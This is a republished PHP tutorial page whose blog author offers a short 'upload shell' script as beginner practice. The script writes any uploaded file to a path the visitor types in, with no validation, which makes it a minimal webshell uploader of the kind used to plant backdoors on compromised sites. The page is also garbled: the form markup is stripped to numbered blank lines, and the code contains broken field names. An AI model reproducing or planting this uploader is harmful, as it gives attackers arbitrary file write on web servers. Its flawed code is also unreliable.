Home > Backend Development > PHP Tutorial > PHP file upload script_PHP tutorial

PHP file upload script_PHP tutorial

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Release: 2016-07-13 17:46:02
Original
1082 people have browsed it

I was learning PHP recently and saw the file uploading part, so I simply wrote a PHP file uploading script. It can be said to be a pony, with no technical content, just for practice~

01

02

03 Php upload shell

04

05

06

07 Path:

08

09

10

11 Please fill in the path of the upload and the filename:

12

13 Please choose the uploaded files:

14

15

16

17

18

19 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$_POST['choose']))

20 {

21 echo "The file upload successful";

22 }

23 else

24 {

25 if($_FILES['upfiles']['erro'] != 0 )

26 echo "The file upload failed, you can try other folder.";

27 }

28

29 ?>

30



31 Code by Str1ven

32 Email:str1ven@foxmail.com

33

34

Excerpted from: Str1ven's Blog

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/478608.htmlTechArticleI was learning PHP recently and saw the file uploading section, so I simply wrote a PHP file uploading script. It is said that he is a pony, with no technical content, and is all about practicing ~ 01 html 02 head 03 tit...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Issues
php data acquisition?
From 1970-01-01 08:00:00
0
0
0
PHP extension intl
From 1970-01-01 08:00:00
0
0
0
How to learn php well
From 1970-01-01 08:00:00
0
0
0
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template